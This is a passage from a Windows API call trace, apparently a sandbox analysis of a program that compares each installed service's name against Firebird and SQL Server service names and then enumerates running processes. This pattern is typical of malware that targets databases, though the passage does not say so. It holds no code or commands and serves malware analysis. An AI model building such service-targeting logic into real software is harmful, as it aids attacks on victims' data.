lpString2="AppXSvc") returned 1 [0318.831] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0318.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0318.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0318.831] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0318.831] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0318.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0318.831] lstrlenW (lpString="Audiosrv") returned 8 [0318.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0318.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0318.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0318.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0318.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0318.831] lstrlenW (lpString="BFE") returned 3 [0318.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0318.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0318.831] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0318.831] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0318.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0318.831] lstrlenW (lpString="BITS") returned 4 [0318.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0318.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0318.831] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0318.831] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0318.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0318.831] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0318.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0318.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0318.832] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0318.832] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0318.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0318.832] lstrlenW (lpString="CDPSvc") returned 6 [0318.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0318.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0318.832] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0318.832] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0318.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0318.832] lstrlenW (lpString="ClickToRunSvc") returned 13 [0318.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0318.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0318.832] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0318.832] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0318.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0318.832] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0318.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0318.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0318.832] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0318.832] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0318.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0318.832] lstrlenW (lpString="CryptSvc") returned 8 [0318.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0318.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0318.832] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0318.832] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0318.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0318.832] lstrlenW (lpString="DcomLaunch") returned 10 [0318.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0318.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0318.832] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0318.832] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0318.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0318.833] lstrlenW (lpString="DeviceAssociationService") returned 24 [0318.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0318.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0318.833] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0318.833] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0318.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0318.833] lstrlenW (lpString="Dhcp") returned 4 [0318.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0318.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0318.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0318.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0318.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0318.833] lstrlenW (lpString="Dnscache") returned 8 [0318.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0318.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0318.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0318.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0318.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0318.833] lstrlenW (lpString="DoSvc") returned 5 [0318.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0318.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0318.833] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0318.833] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0318.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0318.833] lstrlenW (lpString="DPS") returned 3 [0318.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0318.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0318.833] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0318.833] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0318.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0318.833] lstrlenW (lpString="DusmSvc") returned 7 [0318.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0318.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0318.833] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0318.834] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0318.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0318.834] lstrlenW (lpString="EventLog") returned 8 [0318.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0318.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0318.834] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0318.834] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0318.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0318.834] lstrlenW (lpString="EventSystem") returned 11 [0318.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0318.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0318.834] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0318.834] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0318.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0318.834] lstrlenW (lpString="FontCache") returned 9 [0318.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0318.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0318.834] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0318.834] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0318.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0318.834] lstrlenW (lpString="gpsvc") returned 5 [0318.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0318.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0318.834] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0318.834] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0318.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0318.834] lstrlenW (lpString="iphlpsvc") returned 8 [0318.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0318.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0318.834] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0318.834] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0318.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0318.834] lstrlenW (lpString="KeyIso") returned 6 [0318.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0318.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0318.835] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0318.835] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0318.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0318.835] lstrlenW (lpString="LanmanServer") returned 12 [0318.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0318.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0318.835] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0318.835] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0318.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0318.835] lstrlenW (lpString="LanmanWorkstation") returned 17 [0318.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0318.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0318.835] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0318.835] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0318.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0318.835] lstrlenW (lpString="lfsvc") returned 5 [0318.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0318.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0318.835] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0318.835] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0318.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0318.835] lstrlenW (lpString="lmhosts") returned 7 [0318.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0318.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0318.835] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0318.835] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0318.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0318.835] lstrlenW (lpString="LSM") returned 3 [0318.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0318.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0318.835] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0318.836] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0318.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0318.836] lstrlenW (lpString="MapsBroker") returned 10 [0318.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0318.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0318.836] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0318.836] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0318.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0318.836] lstrlenW (lpString="MpsSvc") returned 6 [0318.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0318.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0318.836] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0318.836] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0318.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0318.836] lstrlenW (lpString="NcbService") returned 10 [0318.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0318.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0318.836] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0318.836] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0318.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0318.836] lstrlenW (lpString="netprofm") returned 8 [0318.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0318.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0318.836] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0318.836] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0318.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0318.836] lstrlenW (lpString="NgcSvc") returned 6 [0318.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0318.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0318.836] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0318.836] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0318.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0318.837] lstrlenW (lpString="NlaSvc") returned 6 [0318.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0318.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0318.837] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0318.837] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0318.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0318.837] lstrlenW (lpString="nsi") returned 3 [0318.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0318.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0318.837] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0318.837] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0318.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0318.837] lstrlenW (lpString="PcaSvc") returned 6 [0318.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0318.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0318.837] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0318.837] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0318.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0318.837] lstrlenW (lpString="PlugPlay") returned 8 [0318.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0318.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0318.837] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0318.837] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0318.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0318.837] lstrlenW (lpString="Power") returned 5 [0318.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0318.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0318.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0318.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0318.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0318.837] lstrlenW (lpString="ProfSvc") returned 7 [0318.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0318.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0318.838] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0318.838] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0318.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0318.838] lstrlenW (lpString="RpcEptMapper") returned 12 [0318.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0318.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0318.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0318.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0318.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0318.838] lstrlenW (lpString="RpcSs") returned 5 [0318.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0318.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0318.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0318.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0319.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0319.362] lstrlenW (lpString="SamSs") returned 5 [0319.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0319.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0319.362] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0319.362] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0319.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0319.362] lstrlenW (lpString="Schedule") returned 8 [0319.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0319.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0319.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0319.362] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0319.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0319.362] lstrlenW (lpString="SecurityHealthService") returned 21 [0319.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0319.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0319.362] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0319.362] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0319.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0319.362] lstrlenW (lpString="SENS") returned 4 [0319.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0319.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0319.362] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0319.362] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0319.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0319.362] lstrlenW (lpString="ShellHWDetection") returned 16 [0319.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0319.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0319.362] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0319.362] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0319.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0319.362] lstrlenW (lpString="Spooler") returned 7 [0319.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0319.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0319.363] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0319.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0319.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0319.363] lstrlenW (lpString="SSDPSRV") returned 7 [0319.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0319.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0319.363] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0319.363] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0319.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0319.363] lstrlenW (lpString="StateRepository") returned 15 [0319.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0319.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0319.363] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0319.363] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0319.363] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e21790 | out: hHeap=0x490000) returned 1 [0319.363] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0319.367] Process32FirstW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0319.368] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x94, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0319.369] lstrlenW (lpString="System") returned 6 [0319.369] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0319.369] lstrlenW (lpString="smss.exe") returned 8 [0319.369] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0319.371] lstrlenW (lpString="csrss.exe") returned 9 [0319.371] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0319.371] lstrlenW (lpString="wininit.exe") returned 11 [0319.371] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0319.372] lstrlenW (lpString="csrss.exe") returned 9 [0319.372] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0319.373] lstrlenW (lpString="winlogon.exe") returned 12 [0319.373] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0319.373] lstrlenW (lpString="services.exe") returned 12 [0319.373] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0319.374] lstrlenW (lpString="lsass.exe") returned 9 [0319.374] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0319.375] lstrlenW 